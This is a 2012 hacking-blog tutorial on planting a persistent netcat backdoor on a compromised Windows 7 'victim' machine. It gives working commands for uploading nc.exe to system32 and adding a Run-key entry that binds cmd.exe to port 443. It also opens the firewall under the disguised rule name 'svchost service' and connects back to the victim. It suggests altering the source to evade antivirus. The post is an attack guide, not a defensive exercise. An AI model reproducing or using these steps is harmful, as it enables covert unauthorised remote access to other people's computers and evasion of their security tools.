Dear Readers: PWNSCAR is planning to publish a monthly Tech Magazine along with some other blogs. To Contribute CHECK DETAILS

ABOUT ME

16 Jul 2012

Using NetCat As A Backdoor In Windows 7

Hey all in this tutorial i will be showing you all the power of netcat. So i will be telling you all how to use netcat as backdoor. As after getting access to your victim system you must be wanting future access without any problem so here's the way for doing that.

>What Is Netcat ?


Netcat is utility used to write data across TCP and UDP networks. Using netcat an attacker can place backdoor that will allow him/her to telnet DOS shell. In fact netcat can be used as port scanner, banner grabbing tool, Trojan and backdoor. The power of netcat can be calculated from the fact that it can act as both server and client and even doesn't get detected by Anti-Virus and even if it gets detected its source code is available add some unnecessary code that will change its signature thus allowing it by bypass Anti-Virus.

So that was info of netcat, now lets start our work for that follow me.

1. The first step is to gain access in the victim system for that you can prefer my older tutorials on system hacking.

 
2. Now we will have to upload our netcat.exe to victim computer. For that we will use following command


upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32


Note--> You must have privilege to system account.





3. Now we need to configure the registry to make NetCat execute on Windows start up and listening on port 443.


For that we will  edit the key "HKLM\software\microsoft\windows\currentversion\run". So after editing  our command will be : reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run




4. Now we need to add NetCat in startup process for that we will use following command

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe 



 
5. Now to check our backdoor autorun process and make sure it already added on autorun list  we can use following command


reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc





So it shows that our backdoor is present there.


6. Now we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 .

For that run shell command to access command promt ad then run the following command




netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443





7. Ok now done so for checking that our new rule has been added or not we will use following command

netsh firewall show portopening








Ok so everything goes correct. Now we can connect to victim system by using following command
 

nc -v victim ip address port
 

Now we can do many things like we can reboot victim system by using reboot or shutdown -r -t 00
 command .



I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

1 comment:

  1. where are your previous tutorials on system hacking?

    ReplyDelete

Got any doubts or feedbacks ?
Feel free to comment !